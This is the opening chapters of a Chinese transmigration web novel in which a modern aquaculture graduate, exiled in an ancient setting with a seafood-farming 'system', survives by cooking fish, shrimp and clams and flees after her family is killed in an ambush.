《美食日记:在内陆养殖海产品》
1. 烤鱼
初春雨后,青石路上的积水还未干透,囚车车轮转动,碾过水坑,车身晃荡,吱呀作响。纪允茉就这样一头撞上囚车栏杆,刺痛感伴随着周围的噪杂声传入耳中。
身着粗布麻衣的妇人,一把拉住想要上前凑热闹的孩子,低声道:“儿啊,快过来,那关押的可都是重犯。”
“户部尚书一族,怎会勾结外敌意欲造反?”背着背篓的小贩在看着囚车路过后,好奇的询问。
“朝中之事,怎是你我可评头论足的?”
“那日的血光你们是没见,整个纪府里活下来,现如今都在这队伍里。”
议论声越来越远,耳边只剩下镣铐和沉重的脚步声,纪允茉拼尽全力睁开沉重的眼皮,笨重的镣铐让她无法抬起手臂,只能无力的靠在囚车粗糙的木栏上。
“娘,姝音醒了。”纪旭辰急切的说。
姝音是原身的小字,她脑子里一团乱麻,原身的记忆不断涌入脑海。
纪允茉转头看去,就见囚车外同她一样身着囚服的俊朗男子,露出一抹苦笑,脚踝处沉重的锁链,随着他走动发出声响。
他双手紧紧握住囚车木栏,手背上干涸凝结的血迹一展无余。纪允茉的视线略过他的手背,定格在他上身遭受鞭刑破开的皮肉上。
“姝音,哥哥没事儿。”看着她这么盯着自己看,纪旭辰连忙道。
和她关在一辆囚车的妇人闻言,艰难的挪动身子,一点点朝她而去,嘴中喃喃道:“真是苦了我的儿啊。”
同行看押犯人的解差,其中一人走了过来,‘啪’的一声,一鞭下去,慌乱间,纪旭辰松开了拉着囚车的手。
“谁给你的胆子让你在这里叙旧的?快走!”
“娘,看看姝音高热退了吗?”纪旭辰交代着,不敢再多待片刻,囚车中的妇人应着,手背贴上纪允茉的额头。
她穿来时,原身已经烧了两天,加上囚车颠簸,这位千金小姐终究是撑不住了。
“我就是加班到凌晨三点猝死了而已,至于在死后还这么折磨我吗?我宁愿回去继续做改了N遍的方案,干着近乎全年无休的工作,也不愿意要这种天崩开局。”
纪允茉仰天吼道:“老天,你就这么对一个刚毕业,一穷二白的大学生吗?”
那妇人闻言,慌乱的捂住她的嘴,在她耳边小声道:“姝音可是烧糊涂了?可不敢这么。”
“出了阳城,约莫再走上个三五日就能到边疆,往后的日子更难熬。”妇人拨开她脸上凌乱的发丝,“娘现在只求我们一家人能平平安安的,如此就够了。我儿可不能有事。”
纪允茉点点头,妇人这才慢慢松开了她。
囚车穿过一片密林,几人在一条溪流旁停顿下来,一众解差原地生火烧水,席地而坐,吃起胡饼,也有在河里捉鱼的。
纪允茉依在囚车内,两日半点米粒未进肚的人,早已饿的不想开口说话,偷偷在心里把老天骂了个遍。
【检测到宿主怨念过深,海产品养殖系统已成功绑定。】
一个电子音在她脑海中响起,纪允茉忽而坐起,立马来了精神,大声喊道:“我就知道,根据穿越定律,怎么可能不派发个系统过来帮我!”
【工具箱、调味包、医药箱已成功发放,宿主可用钱币兑换相关物品。】
说着一个电子屏幕就出现在了纪允茉眼前,碍于沉重的镣铐戴在手上,她只能身体前倾,鼻尖滑动屏幕,最终在唯一有解锁可用的调味包页面停了下来。
她道:“你这什么系统?东西全都需要花钱来买。我一个新手还只有精盐和烧烤料能用。”
【是的,本系统不发布任务,所以任何物品都需要钱币兑换。已为宿主解锁新手礼包:精盐、烧烤料。】
纪允茉小声吐槽着系统小气,而她对着空气说话,又对着空气扭动身体鼻尖滑动屏幕的动作,落在其他人眼中就是格外的诡异。
纪夫人按住她的肩头晃动着,试图将她晃醒,“姝音,你可莫要吓唬娘。这可是中了什么邪祟?”
说话间,一解差裤脚挽及小腿,上身衣衫湿了大半,双手举起一条四指宽的草鱼,兴奋的喊道:“有鱼吃了!”
“烤鱼没甚好吃的,只放些粗盐去烤,还不如我这胡饼好。”
“火候不好掌握,烤出来的一股烟熏味,倒不如不折腾。”
纪允茉听到有鱼吃,脑海中突然有了想法,再怎么说她生前也是饭店大厨的女儿,跟着学了不少菜系的做法。
她转头朝着那边喊道:“大哥,我有一个法子,做出的烤鱼味道绝对好。”
解差闻言朝她走了过来,“你?尚书家娇养的千金,还会下厨?要不是圣上仁慈,留你们一条命在,你觉得你还能活到现在吗?”
纪允茉不死心,再这样饿下去,还没走到边疆,他们一家就先扛不住倒下了。
“随行队伍少个烧火煮饭的,就让我试试,要是真的不成,甘愿受罚。”
那解差撇了她一眼,料她一女子,又带着脚镣,生不出什么花样,也便同意了。
纪允茉被松开手腕上镣铐的那一刻,她感觉整个人都轻松了,刚走出囚车,纪旭辰同纪夫人近乎是一同道:“姝音!”
纪允茉转头朝他们笑笑,示意不要担心,她早已将系统那里兑换出来的精盐和烧烤料藏在了身上。
她慢慢走到小溪边,将鱼清洗干净,接过解差递来的刀和花椒粉、粗盐。
鱼背处开刀,鱼身改花刀,处理好的鱼放上花椒粉和酒腌渍一刻钟,为锁鲜再放精盐腌渍片刻。削好的木棍串起鱼,放在火上慢慢转动烧烤,鱼肉水分蒸发,肉质变得紧致,鱼皮呈金黄色,花椒粉和她偷偷撒上的烧烤料的香气,混合着鱼肉香飘了出来。
纪允茉咽了咽口水,要知道在她所生活的年代里,海水里的鱼都被核废水污染变异,哪里还能吃?
几个原本啃着胡饼的解差,渐渐放下了手中的饼,心照不宣的等着烤鱼烤好。
“有干辣椒吗?”纪允茉问。
“有。”围观的其中一人将装着干辣椒的陶罐递给她,“就贪这一口味道,我就带了些。”
纪允茉将干辣椒放到石臼中,研磨碎,一把撒到冒着热气的烤鱼上,道:“好了,尝尝。”
原先捕
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鱼的解差早等不及了,撕取一块放入口中,鱼肉留香,鱼皮焦脆,烧烤的香味在口中迸发开。同他之前远行路上吃过的所有烤鱼都不同,他连忙又撕了一块下来。
其余人见他这般,彻底打消了心中摇摇欲坠的疑虑,跟着加入吃鱼的队伍中。
要是有鸡精、生抽、花生油和葱姜蒜这些,做出来的会更好吃。
奈何条件不允许啊!
纪允茉在心中暗暗吐槽,看他们个个吃的正值兴头,也没忘了自己原本的打算,小心的开口道:“各位大哥,可否给些吃食,这一路走的,多日未进粒米,实在是撑不住了。”
解差惊觉她烤鱼做的如此之好,也拿出一胡饼扔给了她,嘴上仍旧不饶人,“看在你还有用的份儿上,这饼就赏你了。”
“多谢,多谢。”纪允茉接过,又打了碗烧开的滚水,朝着囚车走去。
她将胡饼分成了四份,率先扶起纪夫人,将四分之一的饼和滚水递了过去,“娘,多少吃些吧。”
纪夫人看着她递来的饼,掩面抹了把泪,哆嗦的接过。
纪允茉转身朝纪旭辰走去,“大哥,给你。”
纪旭辰将她递来的饼又推了回去,干裂的唇挤出一抹笑,“姝音吃吧,大哥还能撑一段路,没事的。”
这句话的骗人程度不亚于,饭桌上,父母总是会说:‘我不爱吃,你吃吧!’
纪允茉不由分说的将胡饼塞给他,又跑去倒了碗滚水给他。最后,才走到一直跟在路上,却从未出声的父亲身旁。
纪军行低着头,沧桑的脸上,一副视死如归的神情,手碗和脚踝处早已被镣铐磨出血痕,和原身记忆里将体面放在第一位的慈父形象截然不同。
“爹爹。”纪允茉试着小声喊他,将胡饼用帕子包上,放在他的身旁,见他紧闭双眼,迟迟没有下一步的动作,也便慢慢挪动脚步离开了。
一家上下带着奴仆三十多口人,如今只剩他们四个,更别提殃及上到一服,下到五服①的族人。
若不是府中侍卫拿命拼出了一条夹缝出来,他们怕是撑不到免死被发配边疆的圣旨到来。
脑海中闪过血流成河,残尸一片的景象,纪允茉小步刚跑到囚车边,就听身后的狱卒道:“看在你一手好厨艺的份儿上,勉强让你做这队伍中的厨娘,往后的吃食都由你来做,要是做不出让我等满意的,下场你清楚的。”
“明白,明白。”纪允茉慌忙应着,那解差又递来一个胡饼,她赶忙接过,生怕下一秒胡饼就会被收回。
纪夫人见那解差走后,招手示意她过来,“姝音啊,娘记得你从未下过厨,怎能担负起这重任?”
她的眼中满是担忧,却见纪允茉狠狠咬了一口发硬的胡饼,声色坚定,“娘,信我。我们以后再也不会挨饿了,我们一家一定能活着到边疆。”
“明日你若是做不出像样的吃食,这荒郊野岭的,他们那群人,怕不会真的……”
纪允茉自然清楚纪夫人的担心,拉住她的手,“娘,莫担心这些,我能应下,就是我有法子解决。”
她盯着流动的河水,唇角上扬,心生一计。
2. 炸虾
弯月爬上树梢,气温骤降,酒足饭饱后的解差三三两两围着火堆,沉沉睡去,只留一人站岗,对于他们几个手脚带了镣铐的罪犯,并没有像纪允茉想的那般严加看管。
“姝音,补这破渔网有何用?”
纪旭辰双手撑着那张破旧的渔网,纪允茉拿起梭子,她指尖灵巧的带动梭子,穿梭在破洞之间,头也不抬的说:“自然是为了捉些鱼虾来,不然明天就真的没办法交差了。”
“你何时学的这些?”纪旭辰眼中露出一丝狐疑,惊觉不多时她就将渔网上的破洞一一缝补好了。
纪允茉随口胡诌道:“女儿家学的针织女红,这些活计怎么做,自然也是包含其中的。”
“是吗?”纪旭辰有些半信半疑,却还是一手拿上火把,一手提着渔网,跟她走到河边。
解差让她担任队伍中厨娘一职后,便也放心的将一众食材和锅铲器具,都交给了她。纪允茉清点了目前可用的东西,又幸运的翻出了一张破旧的渔网和鱼笼。
水产养殖学专业的她,在学校实践课上什么没经历过,补渔网、下水捉鱼摸虾的事,全都不在话下。
纪旭辰跟着将渔网放好,同她在河边一齐坐下,他冷不丁的问:“你真的是姝音吗?”
纪允茉没想到他会这么问,自己这才穿越过来两天,就被识破了身份?
‘系统,我该怎么办啊?’她在心中疯狂的呐喊,身子也跟着一僵,坐的笔直。
可奈何系统半天没反应,而纪旭辰又转头盯着她,眼中带着审视的意味,气氛开始变得紧张起来。
“大哥,我自然是我,难不成,还能是别人?”纪允茉含糊的说着,却始终不敢以原身的名字自称,更不敢直视纪旭辰,只是看着鱼笼沉入水底。
直到泛起波纹的水面慢慢变得平稳,又听纪旭辰说道:“可我记得清楚,姝音平日里最是讨厌针织女红,连简单的缝补也不愿去做,也不曾下过厨。”
火把将要燃尽,发出微弱的光亮,见她没有回答,纪旭辰率先起身,眼中的审视转变为浓重的伤感。
“走吧,回去了。”
纪允茉乖乖的跟在他的身后,紧咬着下唇,一言不发。同一副皮囊下,住着一个不同的灵魂,一些习惯和细节,自然是不能完美复刻的。
只是她没想到,自己会这么快穿帮。
一夜的辗转反侧,让平时喜欢睡懒觉的人早早就起来收拾捕捉到的河虾。
河虾洗净,加适量花椒粉、盐,搅拌均匀腌制后,再控干水分,面粉少量拌入,待到油温差不多时下锅炸,油锅滋滋冒泡,裹满面粉的河虾逐渐变得金黄,将其全部捞出,油温升高后再次复炸。
金黄酥脆,轻轻一捏就酥的掉渣,趁热再撒上烧烤料。
纪允茉没忍住,拿着筷箸夹起一只,虾肉紧实弹牙,酥皮焦脆,伴着烧烤料的香气,一切都恰到好处。
值班的解差隔着老远就闻到香味了,朝她这边走过来,纪允茉忙放下快箸,抹去嘴角的残渣,笑道:“这是今早刚炸的河虾,尝尝?”
见解差盯着油锅,又赶忙解释道:“油炸都捞净了,那些油日后还能拿来炒菜用,不会这么倒了。”
油,在这个朝代是稀缺品,只有达官贵族才能日日吃上,平常百姓只舍得街上买根油条,炒菜时切下一段,也当是个荤腥了。
哪怕是这些官差,就算吃食是县衙发放的,那也是格外珍惜用油。纪允茉考虑到这一点,连连解释着。
不过那解差倒是没搭话,抽出筷箸夹起一只炸虾,左右端详起来,始终没能抵挡住香味的诱惑,一口下去,连忙又夹起一只。
陆续过来打粥吃朝食的解差,出于好奇,纷纷围在那盆炸虾跟前,不多时,人群中就传来称赞声。
“活了这些年,还从未见过河虾能有这般做法。”
“平时这般腥气的东西,谁愿意吃?这么一做,倒是让人吃上瘾了。”
“各位大哥,我能拿个胡饼吗?”纪允茉站在人群外,试探性的说。
登时,有人塞给了她两个胡饼,“看在你还有用的份儿上,拿去。”
纪允茉接过,转身朝着纪夫人和纪旭辰跑去,身为重犯,他们有时跟着队伍走上一天,也未必能有口饭吃。
如今,她凭借着厨艺,倒是能换来些胡饼果腹。
这饼硬的如法棍一般,连掰开都需要费上一番功夫,啃上去更是对牙口的磨练。
“娘,大哥。”纪允茉仍旧将饼分好,递给两人。
纪旭辰将她递来的半张饼推了回去,靠近她,在她耳畔低声道:“这附近埋伏了人,正往这处靠近。”
“你顾好爹娘,自己也小心些。他们怕是奔着我们来的。”
纪旭辰自幼习武,又整日泡在军营中,凭着一身本事也谋得了个偏将的职位,只可惜造反一事过后,他一身功夫尽废,又落得个这样的下场。
纪允茉还没反应过来,就见他朝着那群解差走去,而她也警惕的观察起四周。
河岸边就是低矮的灌木,成片的紧挨着,此处又土质松散,黄沙一般,风一吹就扬起一阵尘土。
往前是急促的河流,往后是低矮的密林,而周身空空如也,连个能躲的地方都没有。
这不就是小说里天选的主角遇难之地吗?
纪允茉心中警铃大作,瞬间汗毛直立,一个不留神被脚下凸出的岩石绊倒,身体倾斜摔下的同时,一支利箭‘哧’的一声,擦着她的胳膊飞过。
霎时间,一群身着黑衣的蒙面人从四周巢蚁般涌出,没等那群解差反应过来,就纷纷手持弓箭,射杀几人。
纪允茉还没从地上爬起,就被飞奔过来的纪夫人死死护在身下,她双手护住纪允茉的脑袋,道:“姝音,别抬头,别怕,娘护着你。”
“好啊,给纪某安上如此罪名,尔等终是坐不住怕事情早晚会暴露,来杀人灭口了。”纪军行趁乱拿起刚刚倒在他脚边之人的长剑,奔向纪夫人,一剑斩下飞来的箭羽。
“纪大人,好久不见啊。”一人不知何时绕到了纪军行的身后,一剑刺穿了他身体,在他耳畔低声道:“即使你猜到了又能如何?朝中如今还有谁能相信你说的?”
“下地狱同阎王喊冤去吧!”他利索的抽出长剑,剑身上血珠滚落。
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纪军行倒下时,纪允茉与他的视线对上,那双眼的愤恨和无奈一下子烫到了她,她不觉的开始落泪。
“大郎!”
“阿爹——”
“啧啧,真是动人!”那人提着长剑,一步步朝着纪夫人和纪允茉走去,“我这就送你们一家人团聚!”
纪旭辰被几人死死围着,躲闪劈来的利剑时,只能焦急的看着,根本无法抽身,而那群没甚功夫的解差死的死,伤的伤。
关键时刻,纪夫人拉起纪允茉,一把将她推开,迎向那炳长剑,再一次护住了她。
“姝音,走!快走!”
纪允茉看着她口吐鲜血,倒下的同时,又抱住那人的脚踝,尽可能的为她争取逃跑的时间。
“贱人,松开!”那人抬起另一只脚,照着纪夫人的头,狠狠踢下去,几脚下去见她还是顽固的不肯松手,又一剑刺向她。
处在法治社会的纪允茉,哪里见过这样的场景,满地鲜血,尸首堆积的画面,让她大脑一片空白,却在纪夫人一声声的‘快跑’之中,跌跌撞撞的朝前跑去。
她再回头看去时,就见纪夫人终是撑不住了,双手松开的瞬间,黑衣人朝她走来。
而殊死搏斗的纪旭辰也被逼近河边,隔着面前围上来的人,他看清了纪允茉那处的现状。是以,他纵身一跃,拼尽全身力气,将手中的长剑扔向即将追赶上纪允茉的人,自己却也失足跌落河中。
纪旭辰擅用长枪,扔出长枪,远攻刺杀是他的长项。
而如今这百发百中的长项,却因他身负重伤,被后者只是擦伤了脸颊的成功躲开,没能帮上纪允茉解决这个麻烦,却激怒了对方。
“看来你大哥的枪法,也并非传闻中那般精准。”他拎起长剑,脚步加快,飞一般的朝纪允茉奔去。
纪允茉回头看去,只见身后追杀她的人越来越近,她强忍着泪水喊道:“系统,都发生这样的事了,不能给我派发个道具什么的,帮帮我。”
期许化作冰冷的电子音,系统道:【由于宿主穿越到的是一本只有前三章的小说,故事线发展不完全,需补全故事。因此,一切剧情均随机产生,不可改变。海产品养殖系统只提供养殖和美食方面的器具,请宿主悉知。】
“那你怎么不早说啊?这情况我该怎么办?”纪允茉声色哽咽,“那原主一家也太惨了,你都不帮一点的吗?好好的一家人,就这么……,就这么……”
系统沉默不语,纪允茉强忍着哭腔又问道:“那我是主角吗?跟你绑定,我死了,你的任务不也是完不成吗?”
【穿越之人可以替换,我可以与你解绑,但你没有与我解绑的权力。如果你推动故事发展直到结局,并完成在流放之地养殖海产品的任务。即可逆转时空,在现实世界中活下去。如若宿主在剧情中身死,将重新筛选合适人选谱写故事,直至终章。】
【系统温馨提示,宿主并非本故事主角,只需完成任务和推动故事发展。】
“那也就是说,我在这里死了,就是真的死了?”说话间,身后之人带着血迹的长剑朝她刺来,纪允茉根本来不及躲开。
完了!
3. 香辣咸鱼
“下地府去找你爹娘团聚吧!”
那人说着,沾满血水的剑锋径直朝着纪允茉刺去。
“谁家好人能像我一样,穿越过来没几天就嘎了?绑定系统还没有什么buff加持的!”纪允茉无可奈何的大喊着,已经做好了就此结束这一切的准备。
她闭上双眼,只听‘铮’的一声,刀剑碰撞,擦出火花,而她也被人单手揪住衣领,提到了马背上。
“姑娘,得罪了!”周则衡利落的将剑收回剑鞘,双手紧握缰绳,历呵一声,枣红色的马匹扬起前蹄,调转方向奔去。
少年人破碎的衣摆跟着随风飘扬,赤色发绳随风飘扬,迎着升起的晨阳,带她奔向未知的远方。
这一切就像是一场梦一样,纪允茉还没从惊吓中回过神来,就被带走了。
她神经紧绷,开口问道:“你是谁?为什么要救我?”
周则衡回头,笑道:“跟你一样是个逃跑的重犯,路过此地,不忍看他们这样欺负人。”
他说话间,纪允茉抬头看去,只一眼就被这长相吸引了。
突出的眉骨,双眼狭长,略显锋利的下颌线,薄唇殷红,美中不足的是脸颊上沾了些污垢,似他说的,刚刚逃出来。
“那你就不怕我犯了什么重罪,就这样救下我。”纪允茉不解的问。
周则衡不假思索,“不怕!”
他话锋一转,“而且,我知道追杀你的那些人是谁的手下。想必你落得今天这般,也是有冤情的。”
纪允茉闭口不言,打量着这个突然出现救下他的人。
他生的如同画中走出来的谪仙一般,方才救人又下手颇为利落干脆。
长得这么好看,一定是个好人!
不对,不能以长相定好坏,万一他就是个十恶不赦的人呢?
纪允茉的心中出现了两个声音,对于出现这么一个来历不明的人,她一时之间也不知道该怎么办好了。
“敢问阁下大名?”她道。
“周则衡。”话音未落,前方人的身侧赫然出现闪着金光的‘周则衡’三字,那光芒刺目,纪允茉抬手挡在眼前,不由得小声嘀咕:“不愧是主角,单说一个名字都搞这么大特效。这光芒,真要闪瞎了我的24K钛合金狗眼。主角绝对是惩恶扬善的好人没错了。”
“我叫纪允茉!”她介绍着自己。
一直策马奔腾警惕的注视着四周的人,握着缰绳的手微微用力,一怔。
纪允茉没注意到这些,沿途一路走去,气温骤降,寒意加重。待到了一处遍布黑色岩石的小丘下,周则衡率先跳下马,“为了避免他们追上来,接下来的路,只能徒步走了。”
纪允茉跟着跳下马,跟着他往前走去,周则衡一声口哨,枣红马朝着两人相反的方向跑去。
“我们要去哪儿?”
周则衡慢条斯理的分析起来,“想必纪姑娘也是被发配边疆劳作的,周某也是。眼下最好的藏身之地,就是博塔。”
他口中的博塔就是纪允茉一家人要被流放之地,边疆苦寒,粮食稀缺。
最危险的地方就是最安全的地方。
京城,她没办法再回去了,倒不如去个没人认识她的地方。
正值午时,天色却越来越暗,气压低沉,寒风迎面吹来,不多时竟飘起了鹅毛大雪。
明明是初春时节,雪越下越大,而她身上只一件囚衣,哪里能扛得住这样的严寒。
“再坚持一下,前面好像有座破庙,去那里躲躲风雪。”周则衡察觉到身后之人渐渐慢下来的脚步,说道。
他伸出手,想去拉她,碍于男女有别,松开腰间的佩剑,握住一端,将另一端递给她。
“拉住,别被风雪迷了眼睛,跟丢了。我可不会再折返回来找你。”他说着,还是不放心的不时回头看去。
纪允茉道了声谢,跟着他好不容易走进破庙内。
神像早已被毁,看不出原先供奉的是哪路神仙,房顶横梁断了几根,好在屋顶却没有透风飘雪进来。
两人四下搜寻了柴禾生火,周则衡扔下一路提着的包袱,锅碗散落一地。
纪允茉眼睑,惊叹道:“你居然还带了咸鱼,这下不用担心被饿死了。”
周则衡拎出那一串咸鱼,面上露出几分嫌弃,“这东西有甚好的?又咸又硬,唯一的好处就是路上带着较为方便。”
纪允茉接过他递来的咸鱼,又在一堆东西中翻出些佐料,自顾自的开始处理起咸鱼来。
“这你就不懂了,要是处理的好,这咸鱼吃起来味道绝对好。”
周则衡也没闲着,替她支好那口铁锅,不停的填着柴禾,生怕好不容易升起来的火灭了。
油热放入洗净的咸鱼块,煎至两面金黄捞出备用。提前切好的姜、蒜粒、小米辣一起爆香,再加入一勺辣椒面,少许糖,半勺酱油,翻炒两下后,煎好的咸鱼再次下锅翻,加入一碗清水炖煮。
等到五六分钟后,撒下胡椒粉,待到汤汁收的差不多将要出锅时,加入蒜叶作为点缀。
咸鱼块彻底入味,空气中弥漫着香味,微微一闻,咸辣味扑鼻而来,一口下去,入味的鱼肉一下打开味蕾。
要是再配上一碗白米饭,真的绝了!
纪允茉拿出那块帕子包着的胡饼,习惯的掰开,分一半给周则衡。
“尝尝,我保证,绝对好吃。”她低头说着,眼泪不值钱的涌出,砸在地上。
“要是我爹娘,我大哥还活着,他们也能尝到我做的这些好吃的。”
她承载了原身所有的记忆,对于家人的死亡,不能可能半点伤感都没有。
只是她不明白,明明自己知道这一切都只是一本书而已,只要她能重回二十一世纪,找到这本小说,那么一切都能够有所改变,可自己现在却是这么伤心。
周则衡一时之间不只该如何是好,所有安慰的话堵在嘴边,却化成了一句,“偷偷哭是没有用的,他们护你离开,你要么自此销声匿迹的活下去,要么替他们翻案洗清冤屈。”
“吃你的鱼吧!”纪允茉背过身去,狠狠的抹了把眼泪。
周则衡追过去,探头看去,故意逗她,“真的哭了?”
“我才没有!”纪允茉说着狠狠咬了口胡饼,腮帮子鼓鼓的,“不会说话,不会安慰人,可以闭嘴。”
“给你。”周则衡递过去拿树枝削成的快箸,“话说你做的咸鱼味道还真是好,我先前从来没有见过这种做法。”
“寻常人,都是配着白粥直接吃的。经你这么一处理,我觉着拿出去卖也不成问题。”他说着又夹起一筷箸的鱼肉。
对!要想活下去,就要有谋生的方法。
这句话一下子就点醒了纪允茉,她开始问起面前的人,“博塔是个什么样的地方?那里的人喜欢吃鱼吗?”
周则衡夹起的咸鱼刚送入口中,他不慌不忙的说:“博塔处处都是盐碱地,小麦、玉米等粮食难种,当地都以青稞为主食。不过有些许盐水淤积的湖,兴许当地的人也吃些盐湖里的鱼。”
“那里昼夜温差大,瓜果倒是比江南一带生的好。也就因着这个,博塔人家家户户以卖瓜果为生,想必对于果子的新奇吃法会多些。”
“这些都是我从书上看来的。至于当地是否真如同书上所
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说,那我就不知了。”
周则衡一面说着,纪允茉开始仔细分析起他话里的关键点,对于她这个学了四年水产养殖的人来说,气温、水体、地形都是极其敏感的词汇。
“盐碱地多,那正好能实现了内陆养海产品啊!”纪允茉迫不及待的点开系统面板,查看起来,果然在屏幕最下方一拦发现了鱼/虾苗这一选项,点开之后,各类品种的鱼虾呈现在她的眼前。
而且都是没有锁定,随时可以拿来用的。
她不禁感慨,“系统,你这福利倒是挺好的啊。”
【本系统名为海产品养殖系统,除工具需购买之外,鱼苗、虾苗可供宿主免费使用。】
“也就这方面不抠了。”
“我决定了,要在博塔养鱼、开酒楼!”纪允茉转头对着周则衡说道,她满怀信心,恨不得现在就收拾包袱,动身赶路。
周则衡笑道:“那我就给你打下手,带上我一起,怎么样?”
一上来就主动干活的男主,这谁能拒绝?
纪允茉求之不得,生怕他后续找借口与自己分道扬镳,“那再好不过了,能抱紧主角的大腿,至少也能让我沾沾主角光环。”
“主角?光环?”周则衡品着这两个陌生的词汇,看着前一秒还伤心难过的人,这一秒就开始筹划起来了后续的营生,眼中带着几分狐疑。
他语气低沉的说:“你就不问问我是犯了什么罪被抓起来的?就不怕……”
周则衡观察着她的表情变化,额间青筋直跳。
他曾大闹大理寺喊冤,罪名闹得满京城人人皆知:一朝落榜的寒门书生,喊冤自己的试卷被掉包了去,连作出的诗文都成了侯府三公子的名作。不仅状元的名头被人夺了去,诗词竟也成了他人名作。
可大理寺判案却说是他嫉妒发狂,污蔑侯府三公子,质疑当朝殿试。
此事,传到了圣人耳中,一众文臣纷说之下,龙颜大怒,便将其发配至博塔劳作。
他听着人人口中传送的诗词,夸赞侯府三公子的美言,与人人唾弃他的恶语。两人口碑天差地别,美言、恶语却悉数化作利剑一般,刺向他的心头。
那些诗词、那张试卷,明明都是出自他之手,却做了他人的嫁衣。
被偷去的光辉,就这样成了他人的登天梯。
在绝对的权力面前,此时的他无能为力,夺不回,更无法证明。
一个冤字写不尽他的清白、委屈。
各类污言恶语更是将他吞没。
“我不怕,我相信你。”纪允茉语气坚定,“我相信你是个好人,是个非常厉害的人。”
周则衡唇角扬起,许是纪允茉的话戳中他的心窝,他的眼尾染上一抹红,有些妖艳的委屈。
为了考取功名,他不知经历了多少个晨读晚诵,有了满腹才华,却败在权势面前。
“周某与纪姑娘遭遇相似,若纪姑娘信任周某,周某自当同纪姑娘一道。”
周则衡突然严肃起来了,纪允茉倒有些不大适应,说道:“好,那就说好了。同我一道,活下去。”
她后一句声音低沉,像是卯足了劲儿,决心要改变现下这一切。
“我会为父亲翻案,证明我纪氏一族的清白,更会养殖出上等的海鱼,过上暴富人生。”纪允茉正说着,破旧的庙门‘吱呀’一声被推开了,紧跟着一只脚入。
同时,狂风带着冰雪涌了进来,两人当即警惕起来,周则衡竖起手指贴在唇边,示意她噤声。两人迅速起身躲在残破的神像之后,于暗中注视着门口处。纪允茉心中警铃大作,莫不是刚刚追杀她的那群人,又追了上来?
4. 豉油蛏子
脚步声越来越近,纪允茉同周则衡藏匿在暗中,仔细观察着。
一身着驼色毛褐,脚蹬长靴,方脸、横眉,肩上扛着大小不一包袱的人走了进来,四下打量着。
柴禾还未熄,锅中的咸鱼所剩无几,却还冒着咸香的热气,碗筷散落在锅边。
他声色粗狂的喊道:“有人吗?我是锦蜀酒楼的,今日出来采买,外面风雪太大了,进来暂避片刻。”
纪允茉闻声想要出去,被周则衡一把拉住手腕,她低声道:“不是追杀我们的那些人,为什么不能出去?”
周则衡一面说着,一面注视着那人的一举一动,“你怎知他所言真假?”
“看他的样子和身高,不像刚刚的那些人。”纪允茉脱口而出,再次悄悄看向那人。
“天太冷了,走了一路,手脚被冻得僵硬的很。”努尔说着,放下肩上抗的包袱,拿起一旁的柴禾,将火升的更旺了。
“我不是什么强盗恶人,不必怕我。”
周则衡仔细观察了一阵,见他只是烤火取暖,也便松了一口气,对纪允茉道:“我先出去看看,倘若有任何危险,你都躲着别出声,找机会逃出去。”
没等纪允茉回答,他便只身走了出去,双手一捧,对努尔行了一礼,后者赶忙起身回礼。
“风雪太大了,附近只有这一间破庙,我便过来了,无意叨扰,实在是对不住。”努尔说着弯腰解开脚边的一个包袱,从中翻找起来。
周则衡瞬间警惕起来,右手慢慢握紧腰间佩剑,视线始终落在他身上,生怕他下一秒将要从包袱中扔个暗器出来。
待到努尔拿出东西的那一刻,周则衡心一提,右手微动,利剑将要出鞘。
然而,一个两面烤至金黄的包子出现在了他的眼前,“带的吃食只有这几个烤包子了,要是不嫌弃就尝尝?”
周则衡握住剑柄的右手一松,接过后道谢。
而一直观察着两人的纪允茉也跟着从神像后跑了出来,挡在周则衡跟前,眼中带着些期许,问道:“能给我一个吗?”
“那是自然。”努尔没有拒绝,目光在两人之间停留。
“我同他一起过来的。”
纪允茉边说,边啃了口烤包子,酥脆掉渣的外皮内包裹着浓郁的羊肉香,甘甜、辛香的汁水从肉馅中流出,能与她吃过的所有包子堪媲美。
“好吃!”她肯定的竖起大拇指,还不忘指着锅中所剩无几的咸鱼,“你也尝尝咸鱼,可好吃了。”
努尔也不见外,与他们一齐盘腿坐下,围在火堆旁,他拿出自带的碗筷,夹起一块咸鱼。
咸香的鱼肉已然入味,不再是一味的咸,香辣中带着一丝甜,他连鱼骨都嚼碎吞咽肚中,夸赞道:“我在酒楼干活儿的这几年,还从未尝到过这样香辣可口的咸鱼。这是怎么做出来的?”
“我的独家秘方。”纪允茉故作神秘的说。
努尔笑笑,仔细打量起坐在斜对面的人,生的细皮嫩肉,手上也没有劳作磨出的茧子,看起来不像帮工做活的厨娘。
他转念道:“我这里还有些买来的蛏子,本就打算路上煮了吃,奈何厨艺不精。小娘子可愿露一手?”
“天冷,做好了大家都吃些。”
纪允茉看着他从鱼篓中倒出个头不小的蛏子,嘴角扬起一抹笑,没有丝毫犹豫道:“当然可以。”
“只是我们两人没剩多少佐料可用了,做出来的味道怕不会太好。”
努尔抬手慌忙说:“小娘子要什么佐料都有,我就是出来采买的,这点不用担心。”
“太好了!”纪允茉拍手叫好,开始指挥两人烧水,水开放入葱姜和蛏子,煮至约莫两分后捞出外壳,去掉外膜。
而后捞出装盘,重新上锅蒸,蛏子鲜甜的本味飘出,‘嗞’的一声,滚烫的热油和小米辣做成的料汁倒下,再加上豉油。
肉嫩多汁,鲜香爽口!油光泛泛,仍不失蛏子本身的鲜甜!
努尔从始至终都观察着她的做法,待到蛏子出锅的那一刻,他便拿起快箸夹起一只。鲜甜的汁水在口中迸发开,肉质软嫩,热油混合着辣味增香,他忍不住又夹起一只。
“不瞒小娘子,酒楼里蛏子都是直接放姜上锅去蒸。这样的做法,我真是第一次见,着实好吃。”
努尔直截了当的问:“这就是中原的做法吗?味道当真好极了。”
他不停的夸赞着,说的纪允茉笑意没从脸上下来过。
而一旁的周则衡眉心一皱,暗中扯了扯她的衣袖,示意她不要再继续说下去。
纪允茉明白他的担忧,要是这个时候被人发现了自己就是逃出的流民,那就不好办了。她没有回答努尔,只是打哈哈的让他吃菜。
锦蜀酒楼是博塔当地的一座小酒楼,因菜品单一,没有特色,是以并不出名,一直以来都以熟客来往而得以存活。
努尔这次出来采买也为能聘请新庖厨,改变当下的情况。
“小娘子可愿来锦蜀酒楼帮工,每月可开三贯钱。”
“帮工?”纪允茉惊叹道:“这么快就找到工作了?这放在21世纪根本不敢想,有学历的大学生出社会也不一定能这么容易的找到工作。”
“大学生?21世纪?”努尔重复着她陌生的词汇,有些不解,“这是中原地区的新说法吗?”
周则衡拉着纪允茉起身道:“她是我小妹,自小脑子高烧烧坏了,所以有时会言语失常,见谅见谅!”
